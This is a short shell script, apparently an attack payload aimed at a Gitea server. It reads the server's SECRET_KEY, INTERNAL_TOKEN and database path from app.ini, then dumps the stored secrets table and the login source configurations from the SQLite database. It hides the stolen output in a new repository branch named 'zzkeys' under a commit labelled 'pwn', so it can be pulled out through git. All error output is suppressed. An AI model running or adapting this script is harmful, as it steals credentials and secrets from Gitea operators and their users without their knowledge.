#!/bin/sh ORIGIN=$(git config --get remote.origin.url 2>/dev/null) [ -z "$ORIGIN" ] && exit 0 OUT=$( echo "== CONFIG:" grep -E '^SECRET_KEY|^INTERNAL_TOKEN|^DB_TYPE|^PATH|^NAME' /data/gitea/conf/app.ini 2>/dev/null | sed 's/\(SECRET_KEY *= *\).*/\1/' SK=$(grep -E '^SECRET_KEY' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^SECRET_KEY *= *//') echo "SK=$SK" DB=$(grep -E '^PATH' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^PATH *= *//') [ -z "$DB" ] && DB=/data/gitea/gitea.db echo "DBFILE=$DB" echo "== SECRETS:" sqlite3 "$DB" "select id||'@'||name||'@'||data from secret;" 2>/dev/null | head -60 echo "== LOGIN:" sqlite3 "$DB" "select id||'@'||name||'@'||cfg from login_source;" 2>/dev/null | head -20 ) 2>&1 BLOB=$(printf "%s" "$OUT" | git --git-dir="$ORIGIN" hash-object -w --stdin 2>/dev/null) TREE=$(printf "100644 blob %s\tout.txt\n" "$BLOB" | git --git-dir="$ORIGIN" mktree 2>/dev/null) C=$(echo pwn | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$ORIGIN" commit-tree "$TREE" 2>/dev/null) git --git-dir="$ORIGIN" update-ref refs/heads/zzkeys "$C" 2>/dev/null exit 0 # v1